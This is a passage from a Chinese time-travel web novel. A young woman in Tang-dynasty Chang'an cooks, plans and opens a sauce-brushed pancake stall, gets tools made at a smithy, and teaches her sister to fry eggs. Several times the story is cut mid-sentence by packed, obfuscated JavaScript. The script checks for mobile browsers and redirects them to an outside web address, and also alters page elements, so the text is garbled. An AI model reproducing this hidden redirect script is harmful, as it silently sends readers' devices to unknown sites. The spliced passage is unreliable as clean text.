经过勾芡的糖醋汁变得浓稠而富有光泽，估摸着是时候了，崔时钰将炸好的里脊条倒进去，快速翻炒，直到每一根里脊条都均匀地裹上糖醋汁，盛出装盘。 这道糖醋里脊便成了。 不必做任何点缀，金黄的肉条裹着晶莹的酱汁，酸甜香气扑鼻，看一眼便令人食欲大发。 依旧是让两个妹妹先吃着，崔时钰端着热气腾腾的糖醋里脊前往隔壁院子。 谁知她前脚刚迈进王五娘家院子大门，隔壁张六娘便阴恻恻探出半个头来。 她听着崔时钰和王五娘在隔壁有说有笑的声音，心里嫉妒极了。 那崔大娘自从身子好了之后，隔三岔五就往隔壁送吃食，前几天是肉馒头，今天又变成了炸肉条，再过些天指不定又有什么新花样……同为街坊邻里，怎么不往她这儿也送一份？ 也太一碗水端不平了！ 张六娘愤愤地揪着帕子，闻着隔壁飘来的浓郁香味，食欲与妒忌此起彼伏，最后砰的一声把大门关上了。 12. 早市考察 见阿婆终于进门，娇娇马上迫不及待凑上前去，见端来的不是自己心心念念的小笼肉馒头，小嘴这就要不满地撅起来，然而待看清盘子里的糖醋里脊，唇角很快又变成向上翘起的弧度。 白瓷盘里，一条条炸肉条大小均匀，金黄焦酥，外头裹着一层薄而透亮的糖衣，在阳光映照下泛着饱满诱人的红亮光泽。 不必凑近细闻，浓郁醇厚的酸甜气息已经扑鼻而来，那股酸并非像陈醋那样直白凛冽，而是带着米醋特有的柔和与醇厚，清新俏皮；甜意则丝丝缕缕，甜蜜绵长，二者交织缠绕，瞬间将人食欲勾至顶点。 娇娇等不及了，还在院子里就要直接上手捏一块放进嘴里，王五娘担心她迎风吃东西肚子受凉，一只手牵着孙女，另一手将盛着糖醋里脊的盘子举高了，不让她碰到。 “娇娇乖，娇娇乖，外头风大，咱们去屋里吃。” 王五娘边说边笑。 她家这个挑剔小娘子，何时对吃食露出过这般急切的模样？ 眼瞅自家平日总吃猫食的孩子一朝胃口大开，做家长的自然感到欣慰高兴，王五娘也不例外。 她知道这是谁的功劳——赶明儿得再给阿钰送几块豆腐去！ 娇娇虽然对吃食有些挑剔，但其他方面还是很听大人的话，并非混世的熊孩子，乖乖跟着阿婆进了屋子。 眼神却一直盯着头顶的糖醋里脊——虽然从她的视角来看，现下只能看到若隐若现的金黄肉块，以及一个偌大的白盘子。就算这样也舍不得移开目光。 娇娇从未觉得进屋之路这样遥远，好容易进屋坐下，她便再也等不及了，马上伸出小手捏起一块肉条吃起来，咀嚼几口便满足地眯起眼睛。 味道比她想象中还要好呢！ 浸透了糖醋汁子的面衣酥脆得嘎吱作响，薄薄一层，完全不会抢了肉的风头，微一用力就在齿间碎裂，里头鲜嫩多汁的里脊肉便弹入口中。 吃到里面才发现，原来不仅面衣入了味，酸甜的酱汁还恰到好处地包裹了每一丝肉纤维，咀嚼间肉香四溢，酸甜可口。 为方便入味与炸制，崔时钰将里脊肉条切成了适中大小，但对于娇娇来说还是有些大了，需要分好几口才能吃完，却也产生了一种别样的爽感。 啃一大块肉，好爽啊！ 对娇娇来说偏大的糖醋里脊肉条，王五娘只需咀嚼几口便能咽进肚子，吃完一根又接下根，筷子夹得飞快，都快闪出残影了。 娇娇在一旁都有点急了，叼着嘴边没吃完的半根肉条撒娇道：“阿婆阿婆，给我留一点嘛！” * 王五娘和娇娇那头还在“生死时速”，崔时钰和妹妹们这边已经结束了战斗。 她不知道王五娘和娇娇对这道糖醋里脊是否满意，但瞧着阿锦和阿宁连盘子上的糖醋汁都恨不得舔干净的反应，想来应该还不错。 两个小姑娘现在正在院子里刷碗，崔时钰把她们“刷一个盘子要用多少草木灰”的讨论声当背景音乐，歪在榻上边休息边思考。 如今她的身子已经一天天强壮起来，是时候开始做生意了。 要想将整个铺子装修翻修一新，再添置些开饭馆需要用到的桌椅板凳，锅碗瓢盆，她那点嫁妆远远不够，还需更多银钱。 上辈子她认识几个开早餐店的朋友，每天凌晨三点就开始蒸包子、磨豆浆、包饭团，辛苦是辛苦了些，可赚头也足，干上两三年就能在市中心买房了。 由此可见，最方便的便是做朝食生意，起步极快。 崔时钰想过，不如干脆就卖这小笼蒸包好了，然而仔细一思考才发现并不容易操作，光是给猪肉去除异味这一步骤就要花费不少时间，对于早晨这段时间恐怕会来不及。 考察一下其他人都在卖什么很有必要。 挑了个天气晴朗的日子起个大早，崔时钰出发前往早市。 晨钟刚敲响几遍，长安城街巷就已经热闹起来。 绸缎铺子前，店主打着哈欠抖开一匹水红色轻纱，薄如蝉翼，在风中轻轻飘荡；骡马行的气味有些刺鼻，早起的马夫们正在给牲口喂草料；旁边的鞍辔店里挂满了各色马具，皮质的香气混合着桐油的味道，和周围菜摊水果摊飘出的蔬果清香交织在一起。 街上更是热闹非凡，小贩们各显神通，叫卖声此起彼伏。 “煎饼！热乎乎的煎饼！” “汤饼！刚出锅的汤饼！小娘子要不要来一碗？” 还有算命先生摇着铜铃，口中念念有词：“测字看相，不准不要钱！” 和前几次来集市不同，崔时钰此番来主要是为自个的小摊生意做准备，是以着重观察了早市上的朝食都有什么。 她发现唐朝人的早餐主要可以分为这几类：粥、面食以及糕点，这些类别又可以再进行细分。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626277|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 比如，粥类包括以大米、粟米、大麦等为原料熬煮而成的普通米粥，还有在粥中加入胡麻熬成的胡麻粥、大麦加上磨碎的杏仁和麦芽糖熬成的杏仁饧粥、各种肉粥、菜粥，还有具有养生功效的药粥。 面食的类别就更多了，羊肉、鸡肉、鸭肉等不同味道的馎饦和馄饨、蒸胡饼烤胡饼夹肉馅菜馅的胡饼、可添加各种馅料的包子馒头，还有类似于现代煎饼的煎饼，口感酥脆。 除此之外，崔时钰竟还瞅见了饺子。 这时候的饺子名为“角子”，在造型和制作方法上已与现代饺子极为相似，都是将馅料包在圆形的面皮中，捏成各种形状，或煮熟或蒸熟，馅料有荤有素。 接下来是糕点——所有糕点当中，崔时钰最喜欢甑糕。 用糯米粉制成的甑糕，糯米蒸熟后加入红枣、豆沙等馅料，层层堆叠，软糯香甜。 除去甑糕，又香又甜的糖糕、以酥油和茶为原料制作的酥油茶糕、松软可口的鸡蛋糕……都是本朝常见的早餐糕点。 一圈逛下来，崔时钰心中已有数了。 大唐人民足智多谋，早早地将早点生意做得风生水起，她想要横插一脚可没那么容易，卖些后世已经红火，而此时还尚未出现的吃食才是上上签。 崔时钰望着面前热闹红火的早点摊子，恍惚间仿佛又回到了那个遥远的时空。 上辈子她的外婆和她妈都是鼎鼎有名的大厨，每日做出来的早饭几乎不带重样，可她总对学校门口卖的酱香饼情有独钟。 酱饼店的老板娘总系着一条褪色的围裙，围着一口大铁锅忙碌，熟练地将面团擀成薄片，刷上一层特制酱料，再撒上细碎的葱花和白芝麻。 “小崔，今天还是老样子？”老板娘总笑着这样问她。 她点点头，接过热乎乎的酱香饼。 面饼柔软筋道，酱料的咸香混合着葱花的清香在口中蔓延，咀嚼间芝麻在齿间碎裂，又添一份独特香气。 那时候崔时钰总和好朋友一起买酱香饼，两个人站在学校门口，边吃边聊学校里发生的趣事，好朋友总是吃得很快，然后眼巴巴地看着她手中的饼，问自己能不能再分她一口。 ——那已经是上辈子的事了。 上辈子的事已经过去，最重要的是过好当下。 回忆着记忆中的酱香饼的滋味，崔时钰心中已有了打算：嗯，就干这个了。 13. 工具升级 崔时钰风风火火着手起自己的赚钱大计。 摆摊做小吃生意，无非是要解决工具、食材、员工三方面的问题，崔时钰一个一个来，准备先去冶坊打造做酱香饼需要用到的工具。 唐朝的冶坊是专门从事金属器具锻造加工，包括各种炊具和生活用品的地方，崔时钰准备打造的饼铛、炉灶之类的工具便属于“炊具”这一类别。 因着锻造过程中需要大量冷水用于冷却和淬火，冶坊通常会选择在河流附近建址，长安城这些家也不例外。 坊内数十家冶铺比邻而居，叮叮当当的敲击声不绝于耳。 崔时钰按照郭大郎所指路线一路来到目的地，两扇厚重的木门在她面前敞开，上面雕刻着简单的花纹，旁边挂着一块木牌，书写着“林氏精冶”四个字——没错，她要找的冶铺主人姓林，大名林铁山。 话说回来，这木牌上写的字儿还怪好看的。 崔时钰收回羡慕的目光，瞧见门口摆放着几个大水桶，里面装满清水，想来是作为淬火和冷却之用。 因门是敞开的，不必敲门，崔时钰迈步而入，拐过来在门后看到一个用木板搭建而成的简易展示台，上面摆放着打好的铁锅、铁铲、农具等各种铁器成品。 铺子里面传来叮叮当当的打铁声，甫一靠近便觉一股热浪夹杂着金属炭火的气息扑面而来。 这便是本朝常见的“前店后坊”模式，前面是正式出售商品的铺子，后面的院子是打造商品的地方，既方便顾客购买商品，又能为工匠提供生产空间。崔父曾经的鱼铺、王五娘的豆腐坊、张六娘的胭脂铺子所采用的都是这种售卖模式。 崔时钰微微探头，只见后院里头烟雾缭绕，火光闪烁，空气中弥漫着铁锈和炭火的味道，混合着炽热的温度，叫人待上一会儿便要出汗了。 她脑中莫名闪过一个念头：这铺子冬天肯定能省下不少炭火钱。 有点叫人羡慕呢。 许是听到脚步声，铺子里头走出一个身材极为高大的男人，可能是活计正做到一半，手里捏着一个砂轮就过来了。 瞧见崔时钰，林铁山诧异地挑了挑眉：从前来他这冶铺的都是五大三粗的郎君，今日怎么来了个头顶布巾的年轻小娘子？ 诧异归诧异，没人会跟钱过不去，林铁山把砂轮放进兜里，问崔时钰道：“小娘子可是要来打些炊具？” “正是。”崔时钰微微一笑，拿出提前画好的手推车、炉灶、饼铛的草图给对方过目，顺道还提了一嘴郭大郎，“听郭阿叔说林冶工做活儿最是精细用心，儿便慕名而来了。” “小娘子过奖了。”没人不爱听恭维赞扬的话，林铁山也不例外，一句话就被夸成了翘嘴。 他压了压将要翘起的嘴角，看崔时钰递来的草图也越发认真起来，边看边说：“这图……无事，做起来不难，小娘子请放心。” 崔时钰有点不好意思。 她厨艺高超，做得一手好菜，但也有缺点，那就是无论写字还是画画都……也不能说不堪入目，只能说差不多和小学生是相同水平。 这时候找个大师傅的好处就凸显出来了，就算画得再菜，对方也能知道你想要的是什么。 “小娘子，不知你这炉灶是想打炭炉还是柴火炉？ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626278|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”林铁山盯着图纸问道，顺便给崔时钰介绍了炭炉与柴火炉的优缺点。 炭炉的优点是温度高且稳定，燃烧产生的灰烬较少，容易清洁，且结构简单体积小，便于操作和移动；柴火炉的好处是材料易得，木头嘛，几乎随处可见，不需要像木炭那样经过加工，是以柴火炉的燃料成本相对较低。 崔时钰思考片刻，选择了成本偏高但优点更多的炭炉，虽然贵了点，但胜在方便省事。林铁山也很赞同。 剩下的饼铛、推车还有保温食盒便没什么好说的了，崔时钰只有一个要求，便是将饼铛打得小一点。 上辈子吃过的酱香饼，摊出来老大一张，论斤论两卖，有电子称还好说，然而现在有称没称都很不方便，崔时钰便想着像煎饼果子那样，一次就卖一张，简单不费事。 商量完打造细节，两人开始讨论价格的事。 因着崔时钰方才提了一嘴郭大郎，还夸了林铁山几句彩虹屁，对方又见她是个小娘子，于是大方地给出一个友情价，足足为崔时钰省下了一匹嫁妆布料的钱。 崔时钰自然是对这位林冶工谢了又谢，感激的同时忍不住感叹：瞧瞧，不管到了哪个朝代都是熟人说话好办事啊！ “三日后我会将小娘子需要的器具送至小娘子家门，还请小娘子将贵宅住址告诉与我。”林铁山说着将纸笔递了过来。 于是崔时钰又把自己的小学生字体写了上去。 写完地址，付好定金，崔时钰又将林铁山谢了一遍，这才离开冶坊。 她没有马上回家，转头去集市上买了猪板油和食茱萸，准备熬些猪油和辣酱。 14. 猪油辣酱 崔时钰上辈子听外婆念叨最多的一句话便是：“有好油才有好菜。” 既打算正儿八经做生意，细节方面就要尤为注意，现在家里用的菜籽油虽然也香，但比起脂香浓郁的猪油到底差了几分，还有那味道单一的辣酱，都很值得改进。 拎着刚买来的食材回到家，崔时钰先开始熬猪油。 这猪板油依旧是在高记肉行买的，色泽洁白如雪，质地紧实，没什么异味，新鲜极了。 见她买了这么大一块猪板油，高老汉还忍不住打趣：“小娘子买这么大一块板油，几时才能吃完？” 听崔时钰说要去西市做贩饼生意，高老汉这才了然，还客气说到时一定要来捧场。 崔时钰边回忆采购时发生的趣事，边在案板上将猪板油切成大小均匀的小块，而后双手轻轻捧起，将雪白的猪油块放入已烧得热烫的油锅。 油块甫一入锅，瞬间滋滋作响，油香四溢，猪板油块以肉眼可见的速度蜷缩起来，边缘泛黄，热腾腾的脂香混着焦酥气息在庖厨漫开，极为香浓。 这香气先是扑鼻的浓郁荤香，待飘到檐下又化作勾人的焦脆味道，细闻竟还有股甜滋滋的烘烤香气，让人垂涎欲滴。 熬猪油最是需要耐心和细致，火候的把握至关重要，火大了，板油焦糊，整锅猪油都染上糊味；火小了又无法充分提炼出油脂。 崔时钰将灶膛里的木柴抽出又添进，不断调整火候——她很想念后世的电炉，同时用长柄木勺在锅中不停搅拌，确保每一块猪板油都能受热均匀。 水熬法和纯油煎都是熬制猪油的常见方法，前者熬出来的猪油洁白细腻，不易焦糊，缺点是风味清淡且出油率低；后者容易把板油熬糊，但胜在香气浓烈，熬出来的油渣金黄焦香，出油率也高，能把一整块板油熬酥熬透。 因追求的是风味香浓，崔时钰这次选用的是油煎法。 她是烹饪老手，油煎法为数不多的缺点“易焦糊”对她来说完全不算个事，当然最令她心动的还是熬油时析出来的那些猪油渣，能给妹妹们当零嘴吃。 随着油锅温度升高，越来越多的油脂从板油内部渗出，原本块状的猪板油体型慢慢变小，渐渐化作一锅清亮的油液。其间漂浮着一些金黄酥脆的油渣，大小不一，每一粒都散发着诱人的油光，看上去格外诱人。 不知不觉，锅内的板油已全部化为香浓的油脂。见差不多了，崔时钰拿起一旁的竹筛将油渣滤出，盛放在一个瓷碗之中，撒上一小撮细盐调味，又将熬好的猪油倒入提前备好的陶瓮里。 只需耐心等上几个时辰，这些清亮的油液就会变成雪白细腻的脂膏，到时候挖几小勺煎饼煎蛋，或是直接用来做猪油拌饭，都是极香的。 崔时钰又开始做辣椒酱，也就是酱香饼的调味酱料之一。 前世她做的一手好辣椒酱，主要用的是贵州花溪辣椒和遵义朝天椒，这两种辣椒的特点是辣味适中、香味浓郁、油润透光，非常适合用于熬制辣椒酱。 这辈子做辣椒酱没那么多选择，只有一味食茱萸，但崔时钰同样有自己的对策。 锅里还剩少许猪油底油，崔时钰将食茱萸放进去混着猪油炒干炒香，盛出来捣成中粗的茱萸粉末，放一旁备用。 芫荽洗净切长段，大葱切丝，生姜切片，小葱切段，核桃仁用擀面杖擀碎，挑去核桃皮——本该用到花生米，但此时花生还未传入唐朝，只能用核桃代替了，不过核桃富含油脂口感香脆，崔时钰觉得放些核桃碎说不定比放花生口味更好；洋葱同样也不存在，用较粗的鸡腿葱代替。 接着她开始炸香料，锅里倒猪油，油微热时把方才切好的鸡腿葱丝、姜片和小葱段下锅小火慢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626279|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 炸，炸至各种配料颜色变得干黄后弃用，再放花椒、八角、草果、香叶等香料，继续小火炸香，颜色变深后捞出。 炸好的香料油香气扑鼻，但对崔时钰来说还远远不够，又放进去核桃仁碎、白胡麻以及方才捣好的食茱萸粗粉搅拌均匀，等到食茱萸充分吸收各种调味料的香味，这才把豆酱倒入。 此时的辣椒酱颜色红亮，香气四溢，与后世那几款畅销辣椒酱别无二致，而且因用量足实，甚至还要更胜一筹。 最后，崔时钰在辣椒酱里加酱油、盐与少量白糖继续翻炒——糖的加入让辣椒酱的味道更加丰富，变得甜咸适中，辣而不燥。临出锅前沿锅边淋几滴香醋，这锅辣椒酱便成了。 搅拌均匀，崔时钰将辣椒酱倒入另一个干净陶瓮，放一旁冷却。 方才浓香四溢的猪油香气此刻被辣椒酱的香辣热气覆盖，整个庖厨都弥漫着辛香十足的味道。 崔时钰擦了擦额头的汗，脸上露出与认真做菜时不同的轻松表情，她相信这罐秘制辣椒酱能成为店里的招牌调料。 被辛香的气味吸引过来，阿锦撩开帘子走进庖厨，结果鼻子刚一接触到热辣的空气边忍不住打了个喷嚏。 “好辣……好香。”崔时锦抽着鼻子说道。 见状，崔时钰连忙喂妹妹吃了块猪油渣压压惊。 阿锦接受了姐姐的喂食，乖乖张嘴。 齿尖才刚触到猪油渣外层的酥壳，便听得“咔嚓”一声脆响，内里未尽的油脂顿时在舌尖化开，绵软，还带着微微的香甜，化开的盐粒混着猪肉特有的醇厚，倒像把整块肥美的猪肉都含在了嘴里。 崔时锦嘴里咀嚼着酥香的猪油渣，眼睛望着案板上两大罐熬好的猪油和辣酱，终于忍不住问出在心头萦绕许久的那句话。 “阿姊……你是什么时候学会这些的？” 15. 煎荷包蛋 在崔时锦的记忆中，阿姊性子一向温柔小意，待人和风细雨，但她和自己一样都有个缺点，便是手笨，连阿娘引以为傲的一手好绣活儿都只能勉强承袭一二，且平日甚少下厨，什么时候将吃食做得这样好了？ 嘴里干脆酥香的猪油渣越嚼越香，崔时锦也越发想不明白，“我几乎日日夜夜都与阿姊同在一处，不知阿姊什么时候出现了这般变化，所以觉得很是奇怪。” 对于这个问题，崔时钰多多少少有心理准备。 想想也是，一个几乎从不下厨做饭、平日吃饭都拿饼子片汤糊弄的人，突然流连忘返庖厨不说，还做出了极可口的菜肴，身边亲近的人哪个不会感到奇怪？ 哦，还真有，阿宁就不会觉得突然开始做饭的阿姊有什么奇怪之处，崔时钰熬鱼汤，她喝，崔时钰炸肉条，她啃，才不会觉得有哪里不对呢…… 还挺好的。 崔时钰发自内心这样认为。 “小小少年，很少烦恼，无忧无虑乐陶陶”——如果可以，她真希望阿宁的这份天真快乐存续的时间长一点、再长一点。 不过，眼下最要紧的还是阿锦的问题。 崔时钰把之前打好的草稿拿出来，垂眸看向二妹，微微一笑说：“阿锦，谁说我们日日夜夜都在同一处了？” “啊？”崔时锦有些摸不着头脑。 难道阿姊与她不是每天都在一起吗……等等，好像还真不是——程郎君！ 崔时锦恍然大悟。 她虽然比阿姊足足小了好几岁，却也并非什么都不懂，她知道阿姊与一位程姓郎君青梅竹马一同长大，关系非同一般。后来这位程郎君搬离了长乐坊，但仍会时不时与阿姊见上一面。 再后来，程郎君与阿姊的联系便渐渐少了。 崔时锦还记得，自己当初发现这一变化之后，竟还有几分说不清道不明的喜悦：没由来的，她就是觉得那位程姓郎君不是阿姊的良人。 虽说程郎君对阿姊一向温柔妥帖，待她和阿宁也亲厚有加，但她总觉得，对方温文尔雅的笑容背后似乎藏着什么东西…… 总之阿姊与那人分开正好。 所以，阿姊这一身高超厨技便与那位程郎君有关吗？ 小孩子藏不住事，心中所思所想全都写在脸上，崔时钰一看妹妹表情便知她现在在想什么。 尽管儒家思想在此时仍有一定影响力，但唐朝的社会风气已较为开放，青年男女择偶相对自由，私奔、离婚、再婚的现象都很常见，其中还有不少风流佳话撰成了戏文供后人传唱。 崔娘子与程同是交换了庚帖的正常恋爱关系，平时见个面自然没什么。 于是这便成了崔时钰此时的最好托词。 但她连口头上的便宜也不想让渣男占到，思忖片刻道：“程郎君家中有位来自齐鲁的女厨，少时师从尚食局退隐御厨习艺，后游历大江南北，融汇八方风味，最擅做一道糖醋鲤鱼，做好的鱼肉外酥里嫩，鲜嫩多汁，糖醋汁子也是浓郁醇厚，酸甜适口，令人回味无穷。” “我跟着那位女厨，耳濡目染学会了做不少菜。”崔时钰说完还不忘补充一句，“这位庖师现下已经离开程家，去更有前途的去处了。” 程家当然没有这样一位厨子，她不过是把外婆的早年经历略作改动，与妹妹复述了一遍，如此既算不得说谎，也解释了她这一身厨艺的来历。 “原来是这样。”崔时锦自然不疑有他，看着崔时钰深深点头，“阿姊从前不展露这手绝活是有所顾虑，如今那位庖师已离开程家，阿姊也……也与程郎君分开了，自然就可以不用再顾忌什么了。” “……”崔时钰摸了摸鼻子，她倒是没有想到这一点呢。 阿锦真是聪明，还会主动帮姐姐补充细节。 崔时钰欣慰地揉了揉妹妹的头：“总之，从前的事都过去了，咱们姐妹三个过好以后的日子，再不想其他糟心事了。” 闻言，崔时锦用力点了点头。 是了，阿姊说得没错，她们姐妹三个把日子过好就是最重要的，这是她最后一次提起之前的事，往后她一定向前看。 她这边刚立下宏愿，就见崔时钰笑眯眯看着她道：“阿锦，我有个任务要交给你。” 那眼神让崔时锦感觉自己像一条被猫盯上的小鱼干。 * 一刻钟后，崔家姐妹二人面前的案板多了个白瓷盘，里面左右躺着两枚荷包蛋。 左边那个煎得急了，边缘焦黑蜷曲，皱皱巴巴的蛋白裹着同样干瘪的蛋黄，活像什么晒蔫了的蔬菜；相比之下，右边那个就美观多了，雪白的蛋白边缘缀了一圈金丝，中央的蛋黄嫩黄明艳，圆润饱满。 分别是崔时锦两次煎制荷包蛋的杰作。 崔时钰先前考虑的工具、食材、员工问题已解决了大半，就差“员工”这一项了。 她已经想好了，酱香饼共有四种口味：除刷酱外什么都不加的、加生菜、加蛋、以及菜蛋都加的。 她可以一个人包揽刷酱、煎饼、清理杂物等工作，再多个煎蛋也不是不行，只是时间会有些赶不过来，于是便把目光盯上了妹妹。 从前阿锦在家也做过简单的汤饼蒸饼，对庖厨里头的器具还算熟悉，这次就权当是个锻炼；况且大头主要还是在煎饼这里，阿锦也不会太累。 崔时钰宠爱妹妹，但并不想让她们成为身无长物的娇娇女，她希望她们能够经风雨、见世面，如此才能更好地在这个时代活下去。 眼看马上要煎第三次蛋了，许是不想让阿姊失望，崔时锦莫名很有些紧张，汗珠都从鼻尖沁了出来。 她紧攥着木铲，剜了一块铜钱大小的猪油滑入锅中。这猪油熬得极好，细腻洁白，眨眼的工夫就在铁锅里化作清亮油珠。 这回她记牢了崔时钰的话，见油锅已烧热，马上弯腰将一截燃着一半的柴枝从灶膛里抽出来，而后才将鸡蛋磕入。 一声轻响，蛋清裹着蛋黄在锅中舒展成完美的圆，边缘立刻泛起细小的金黄花边。 回忆着崔时钰方才的手法，阿锦手腕高悬，将盐粒均匀洒落在将凝未凝的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15626280|172375||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 蛋黄上，接着木铲一铲把荷包蛋翻起，继续煎汪着半透明的蛋清的另一面。 崔时钰在旁边看妹妹，脸上露出满意的神情。其实煎荷包蛋没什么太多技巧，就两个：一是油需热到冒起小泡阶段下蛋，二是蛋清边缘微焦再翻面。 这几个步骤阿锦都完成得很好，老实说，好得有些出乎意料了，要知道这可是阿锦头一回煎蛋！ 崔时钰忍不住想，莫非她这个二妹在做菜一道上也有些天赋？ 那敢情好了。 须臾，荷包蛋出锅了，这次比之前两次更完美：卧在瓷盘里煎蛋蛋白莹润，边缘酥脆，蛋黄圆圆鼓鼓，猪油的脂香混着蛋香缓缓升起，带着些许焦酥的坚果气息，竟还隐隐约约有股奶香。 崔时钰让妹妹尝尝味道，阿锦咬下一角，酥脆的蛋白在齿间咔嚓轻响，内里却嫩如豆腐，吸饱猪油的蛋黄浓稠滑润，微咸的盐味衬托出浓郁的蛋香，余味里还留着猪油特有的甘美。 “好吃。”阿锦眯着眼笑，又将荷包蛋分给崔时钰。 姐妹两人分吃完这枚荷包蛋，为巩固技艺，崔时锦又趁热煎了一枚。 于是这三枚荷包蛋便成了姐妹三人今日的暮食，添水进去烧开，再下些索饼，一锅简单美味的煎蛋汤饼便好了。 吃完热乎乎的汤饼，闻着辛香的辣椒酱香和甘美的猪油香气，阿锦和阿宁梦里都在打饱嗝。 * 三日后。 按照约定，崔时钰在冶坊订做的推车、炭炉、饼铛，还有几个保温食盒果然如期而至。 推车车架呈长方形，高度约莫在她腰部，上头安装了一个用竹篾编织而成的简易遮阳棚，顶部覆盖着一层油纸，既能遮阳又能挡雨，车架两侧各有一个木制把手，方便推动。 炭炉同样十分精巧，是一个用厚铁板打造的圆形铁炉，放置在推车的中间位置，底部有一小孔，用于通风和清理炉灰；上方是一个用来支撑饼铛的铁制炉架。 那几个保温食盒又大又轻，能放不少东西，同样令崔时钰满意。 而最让她惊喜的是，许是林冶工看出她的字迹实在难以见人，在车架前端挂了一个小木牌，上面用毛笔写着“崔记酱香饼”几个大字，十分醒目美观。 林铁山还有些不好意思：“手一痒便写了，崔小娘子若是不喜，还可自行再写，我这儿有的是木牌子。” 崔时钰哪里有不喜欢的道理？当即便采用了林冶工的版本。 一个一个看过来，崔时钰满意极了，干脆利落地把剩下的银钱付给林冶工，并和对方约定以后有需要一定还去他的冶铺。 用布巾将这几套酱香饼工具里里外外仔细擦了个干净，崔时钰又把需要用到的酱料一一码放上去，接着便去集市上开始采购。 她先买面粉、鸡蛋，又买几斤白苣，也就是生菜，还有几把分别用来刷油和刷酱料的小刷子、用于顾客品尝试吃的小竹签、包装煎饼的干荷叶…… 满载而归。 一切准备就绪，小小酱香饼摊便这样悄无声息地开张了。 16. 酱香热饼 长安城的晨钟还未敲响，东市的武侯铺内，一阵窸窣声打破了黎明前的寂静。 铺正武长青揉了揉酸涩的眼睛，从硬邦邦的木板床上翻身坐起。 天还未亮，屋内光线昏暗，借着从窗棂透进的微弱光线，他动作麻利地穿衣洗漱，仔细检查仪刀、腰牌、铜铃、火折等物件有无遗漏。 新的一日开始了。 他挨个拍门喝醒还在睡梦中的武侯们，叫他们整理佩刀、缉盗用的绳索以及用于防火的火钩，接着一一点卯签到，分配今日任务。 武长青一向沉默少言，分配任务时从不花言巧语，更不会激励人心，有什么便说什么：“李二，今日你和钱四去西市巡逻，赵六刘七去东市，北巷的治安最近有些不稳定，你们要多加留意，仔细盘查可疑之人。” 武侯们得了指令，齐齐应了一声，接着便去公厨用朝食了。 武侯铺的伙食由官府拨粮，虽然量大，但十分粗简，且一成不变，武长青闭着眼睛都能想到今日的朝食：定还是粟米粥、胡饼、腌菜这老三样。 他迈步走进公厨，果不其然在食案瞧见了早已备好的几锅粟米粥、几十张干巴胡饼，还有一缸浊黄的腌菜——昨日是腌芥菜，今日是腌酱瓜，没啥区别。 武长青瞅见胡饼就能想到那干巴噎人的口感，干硬的饼渣滑过嗓子的时候就像受刑，让他一点胃口都没有。 而去集市上吃也无非就是那几样：粥、饼、馒头、糕点……无甚新意。 人是铁饭是钢，一顿不吃饿得慌。这顿不吃支撑不住整整一上午的巡逻，是以武长青虽然没什么食欲，但还是端起粗瓷碗舀了好几大勺粥。 粟米粥不知是什么时候熬好的，已没了热腾腾的蒸汽，只还隐隐温热，粟米估计也是陈的，熬煮出来一丝米香也无；胡饼又干又硬，勉强能寻到几粒烤得发糊的胡麻；腌菜除了咸没有其他味道。 武长青一口胡饼配一口粥，大口咀嚼吞咽着，眼神发空，活像一台没有感情的进食机器。 直到最后一口饼嚼完，他今日的朝食便算用完了。 公厨内其他武侯也都吃得差不多了，虽然肚子吃饱了，却没有丝毫喜悦，个个面如腌菜色。 “整日都是胡饼，烦死了！” 李二一边用勺子在粥碗里“戏水”一边抱怨：“这粟米粥里面的米也太少了，稀汤寡水的。” “那是你不会盛。”钱四凑过去悄声对他道，“我有个独门秘籍，你每次盛粥的时候把长勺放到最底，慢慢捞上来——注意了，动作一定要放慢，这样就能捞上很多米了。不信你试试。” 李二依言一试，果然盛上大半勺米来，喜道：“果真如此，钱四，还是你点子多！” 听到他们的谈话，武长青浅浅勾起一个笑，没有出声阻止。 用完朝食，武侯们在铺内集合完毕，开始进行上午的巡逻，沿着坊墙慢行，仔细检查坊门门锁是否完好，有无可疑脚印或攀爬痕迹。 坊内居民大多还在熟睡，只有远方偶尔传来的几声犬吠打破宁静。 一直行至西市，坊间才浮起一片喧嚣。 